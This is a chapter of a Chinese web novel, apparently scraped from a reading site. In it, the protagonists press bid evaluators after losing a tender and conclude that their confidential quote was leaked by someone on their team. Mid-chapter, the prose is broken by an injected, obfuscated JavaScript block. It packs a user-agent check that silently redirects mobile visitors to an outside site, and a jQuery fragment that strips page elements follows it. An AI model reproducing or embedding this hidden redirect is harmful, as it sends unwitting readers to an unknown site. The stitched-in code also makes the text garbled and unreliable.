结束了。
台上的灯光随着主持人最后一句感谢词,熄灭。
台下各种声音响起,周围的代表们开始陆续收拾东西,站起身,准备离开会场。
“走。”
陆默熹的声音低沉,但在此刻奇迹般的充满力量。
“趁现在,我们去问清楚。”
他几乎是将她从椅子上半扶半拽地拉起来。
苏酥的腿是软的,靠着他手臂传来的力量才勉强站稳。她抬起空洞的眼睛,看向主席台,那几个评审专家正匆忙收拾东西,眼神躲闪,似乎急于离开这个是非之地。
不能让他们走!
苏酥深吸一口气,挣脱陆默熹的搀扶,哑声道:“我自己走。”
她死死盯住那几个正要溜下主席台的评委身影。
陆默熹看着她瞬间的转变,心头一紧,立刻跟上。
周籍也毫不犹豫地起身,吴晓愣了一下,也赶紧屁颠屁颠地跟上,嘴里还嘟囔:“对!问清楚!必须问清楚!哪有这样的!”
四人拨开尚未完全散去的人群,快步朝着主席台侧的通道追去。
那几个评委果然如同预料的那般,一下台就脚步飞快,几乎是贴着墙根想溜走。
“几位老师,请留步!”
陆默熹腿长,几个大步就追了上去,笑嘻嘻地张开手臂,拦在了通道口,挡住了他们的去路。
他脸上挂着笑,眼底却一片冰寒,没有丝毫笑意。
几位评委被拦了个措手不及,脸上都露出尴尬的神色。
尤其是那位最后宣布结果的老专家,眼神闪烁,根本不敢与他们对视。
“招标已经结束了,结果也已公布,你们这是……”
一个稍微年轻些的评委硬着头皮开口,试图打官腔。
“几位老师,”苏酥走上前,声音还有些发颤,却异常清晰,她目光灼灼地扫过每一位评委的脸,“我们没有别的意思,只是想知道,为什么是恒远?我们的方案,究竟输在哪里?”
评委们面面相觑,支支吾吾,眼神飘忽。
最后还是那位资历最老的老专家叹了口气,开口道:“你的心情我们能理解。但是招标结果已经成定局,无法更改。按照相关规定,评标的具体细节和打分情况,我们是不能对外透露的。你们就别再追问了,回去吧。”
这话说得冠冕堂皇,旁边的评委也赶紧附和:“是啊是啊,规定如此,我们也很为难。恒远集团的方案自然有他们的优势和特点,是经过评审组综合考量后的最优选择。”
“最优选择?”
苏酥几乎要冷笑出声,她强压着翻涌的情绪。
“他们的方案特点在哪里?”
“优势又在哪里?”
“是规划设计比我们更尊重原地貌?”
“是建筑设计比我们更融合本土文化?还是运营模式比我们更能让村民受益?”
“请老师指教,也好让我们心服口服,知道自己到底差在哪里,下次改进。”
她一连串的追问,句句在理,字字犀利,堵得那几个评委脸色青一阵白一阵,哑口无言。
那个年轻点的评委有些恼羞成怒:“你这话是什么意思?难道是在质疑评审的公正性吗?我们一切都是按照流程和标准来的,绝对公开、公平、透明!!”
“公开?公平?透明?”
苏酥重复着这几个词,眼神里的讽刺几乎要溢出来,“如果一个各方面都明显平庸的方案,却能击败所有对手中标,这叫公平?如果连一个让人信服的理由都给不出来,这叫透明?”
评委们的脸色顿时变得极其难看。
老专家重重咳了一声:“请注意你的言辞!招标当然公开透明,你没有任何证据,不能凭空污蔑!”
眼看冲突要升级,陆默熹悄悄拉了拉苏酥的衣袖。
苏酥深吸一口气,知道自己刚才的话过激了。她闭了闭眼,再睁开时,语气瞬间变得低落,眼神脆弱得像下一秒就要破碎:
“对不起…各位老师,是我失态了。我只是…只是真的不明白。”
她的声音哽咽,眼圈不受控制地泛红,那强忍泪水的样子,比刚才的据理力争更让人心头发紧。
“我们团队为了这个项目,熬了多少夜,吃了多少苦,跑了多少趟村里……我们是真的想把这件事做好,不仅仅是为了赚钱…我只是想知道,我们到底哪里做得不够好?求求你们,就告诉我一句,让我死也死个明白,行吗?”
她这番姿态放得极低,配上她那苍白脆弱却依旧倔强的脸庞,让评委再次沉默。
几位评委的表情都松动了一些,眼神里流露出明显的惋惜。
尤其是那位老专家,他看着苏酥,嘴唇动了动,似乎想说什么,最终却还是化为一声无奈的叹息,摇了摇头:“唉…你们确实很可惜。但是规定就是规定,我们真的不能多说,抱歉…”
他说完,像是怕自己再心软,对着其他几人使了个眼色,绕开陆默熹,就要离开。
其他评委也如蒙大赦,纷纷低头快步跟上。
最后的希望,仿佛也要随着他们的离开而彻底破灭。
苏酥看着他们决绝离开的背影,刚刚强撑起来的那点力气瞬间被抽空,绝望如同冰冷的潮水,再次将她彻底淹没。
眼泪终于控制不住地,大颗大颗地滚落下来。
陆默熹的心像是被狠狠揪住,他伸出手,想要将她揽入怀中。
“其实你们的方案很好,就是报价…..怎么一样呢….诶….”
这句话轻得像一阵风,却清晰地钻入了离他最近的苏酥耳中。
苏酥还保持着那个绝望落泪的姿势,但整个人却如同被一道闪电劈中,僵在原地。
“报价…..怎么一样呢….诶….”
苏酥轻声咀嚼这句话,眼睛却瞪的越来越大。
报价?一样?
什么意思?
一个可怕的念头,窜入她的脑海。
不是他们的方案不够好,不是他们的理念不够超前,不是他们的设计不够惊艳。
是报价。
是有人,偷了他们的报价?
所以恒远那种平庸的方案才能中标,因为他们用了和他们一样的,或者足以在价格分上碾压他们的报价,而方案部分,只要过得去,综合评分就很可能被操作上去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284215|179511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为什么评委们支支吾吾,为什么他们一再强调规定不能说,为什么他们眼神里充满了惋惜,因为他们心知肚明!
他们知道真正的优胜者应该是谁,但他们无法改变既成事实,那个老专家最后的那句提醒,已经是冒着风险所能做出的最大暗示。
“苏酥?怎么了?”
陆默熹第一时间察觉到了她的异常。
她不再流泪,身体却抖得更厉害,眼神里不再是绝望,而变得狰狞。
周籍和吴晓也围了上来,紧张地看着她。
苏酥猛地抬起头,她一把抓住陆默熹的手臂,指甲几乎要掐进他的肉里,声音因为愤怒而扭曲:“报价,我们的报价被人泄露出去了!”
“什么?”
陆默熹瞳孔骤缩。
吴晓更是直接跳了起来:“啥?谁!谁他妈干的!”
“刚才那个评委最后说‘报价怎么一样呢’”
苏酥的声音抖得厉害,却异常清晰,“如果不是一样,或者极其接近,他怎么会说出这种话?恒远绝对是用了和我们极其相近的报价,所以他们才能中标!”
“混蛋…”陆默熹从牙缝里挤出这两个字,脸色阴沉得可怕,“我们中间有内鬼!”
他们的最终报价,是核心中的核心。
除了他们两人和周籍这个核心设计者知晓全部细节和最终数字外,就只有…....
所有人的目光,瞬间齐刷刷看向刚刚还在跳脚的人。
吴晓接触到三人的目光,尤其是陆默熹那几乎要杀人的眼神,吓得浑身肥肉一抖,他猛地后退一步,声音尖利地叫嚷起来:
“你、你们看我干什么?不是我!绝对不是我!”
“我吴晓是贪财,是想靠着你们发财!但我他妈不傻!泄了底标,项目黄了,我投进去的钱打水漂不说,还得罪死了你们和村里,我图什么?我疯了!!!”
他急得满头大汗,指天画地地发誓:“要是我吴晓泄露了半个字,叫我天打雷劈!断子绝孙!出门就被车撞死!”
他的反应激烈,那种害怕和冤枉不像装的,苏酥和陆默熹对视一眼。
不是吴晓,那会是谁?
知道最终报价的,只有他们四个人。
苏酥和陆默熹不可能自己泄露自己。
吴晓的反应不像……
那么。
苏酥的目光,不由自主转向了站在另一侧,一直沉默不语的周籍。
周籍接触到她的目光,温润的脸上瞬间闪过难以置信的受伤。
他张了张嘴,似乎想说什么,最终却只是苦涩地笑了笑:“苏酥,你怀疑我?”
苏酥的心脏像是被什么东西狠狠拧了一下。
她立刻否定了这个念头,不、不会是他。
一路走来,他的才华,他的坚持,他对这个项目的投入和感情都不像是装出来的。
而且,泄密对他有什么好处?恒远挖他他都没去。
可不是他,又不是吴晓…难道……
她的目光再次回到陆默熹身上,随即又立刻狠狠否定。
绝不可能是他。
那…到底是谁?